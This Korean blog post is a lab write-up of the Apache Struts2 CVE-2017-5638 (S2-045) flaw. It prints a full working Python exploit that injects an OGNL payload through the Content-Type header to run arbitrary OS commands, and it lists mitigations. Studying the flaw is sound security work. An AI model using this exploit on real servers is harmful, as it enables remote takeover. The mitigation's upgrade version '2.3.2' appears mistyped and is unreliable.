공대생의 이것저것☀︎

[CVE-2017-5638/S2-045] Apache Struts2 취약점(1/2) 본문

IT/Security

[CVE-2017-5638/S2-045] Apache Struts2 취약점(1/2)

공대생92 2017. 4. 20. 01:19

Apache Struts2 [CVE-2017-5638]


S2-045


요근래 가장 핫했던 취약점...


CVE 번호까지 외워버릴 정도였으면 얼마나 많이 회자되었는지 알것 같다.



Struts2설치하고 페이지 올리는데만 몇번의 재설치를 거쳐 겨우 환경을 구축했다.





분노 짤에 대한 이미지 검색결과








그러니까 바로 알아보자......



간단하게 해당취약점은 원격코드 실행 취약점이다.


말 그대로 공격자가 원격으로 코드를 실행 할 수 있다.




대략적인 공격 원리는 HTTP Request헤더의 Content-Type 값을 변조하여서 원격 코드를 실행시킨다.



Content_Type쪽에 OGNL 표현식을 넣어버리면 Struts2의 Jakarta플러그인이 처리과정에서 오류를 내뿜고


 LocalizedTextUtil.findText에서 OGNL 표현식을 실행해버린다. 하하






일단 해당 Poc코드를 살펴보자




#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm)))."
#/////////여기까지가 공격실행을 위한 기본코드!
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
#////////여기까지는 타겟의 운영체제를 보고 명령구문을 완성하는 코드!
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
#////////여기까지는 실제로 공격 명령을 실행하는 코드

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
      
    except httplib.IncompleteRead, e:
        page = e.partial
        print("=====================Result=====================")
    

    print(page)
    print("================================================")
    return page

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py  ")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)




코드는 3가지 부분으로 나눌수 있으며 공격실행을 위한 기본적인 코드들과


사용자 명령어를 받아 타겟의 운영체제(Win/Linux)에 따라 명령을 완성한후


명령을 실행하는 코드로 나뉘어져 있다.





그렇다면 Poc를 이용하여 한번 해보자!












이렇게 VM에 Struts2를 설치해놓고 VM 밖에서 CMD 를 통하여 공격을 실행한다.














일단 CMD창에서 해당 주소와 실행시킬 명령어를 입력한다!













예시로 dir ( 현재 폴더에 존재하는 목록들을 보여줌/ 리눅스에서는 ls와 같은 의미)을 선택하여 공격코드를 


실행해보니 아주 잘 보인다....... 굿굿


















해당 취약점을 막기 위해서는 3가지 방법이 있다고 한다.



1. Apache Struts2를 2.3.2 나 2.5.10.1로 업데이트 할것


2. Content-Type에 엄격한 필터링을 적용 또는 OGNL 표현식 사용금지


3. Commons-fileupload-x.x.x.jar파일 삭제(이것은 임시조치임...삭제하면 업로드기능 사용못함 비추)



[출처: http://cafe.naver.com/securityplus/23520]












다음 포스트에서는 이 [CVE-2017-5638] 취약점을 Snort에서 어떻게 하면 잡을 수 있을지에 대해 알아보자! :)

(절대 귀찮아서 지금 끝내는게 아님)





'IT > Security' 카테고리의 다른 글

Kali Linux Mirror사이트 변경  (0) 2017.04.17
Comments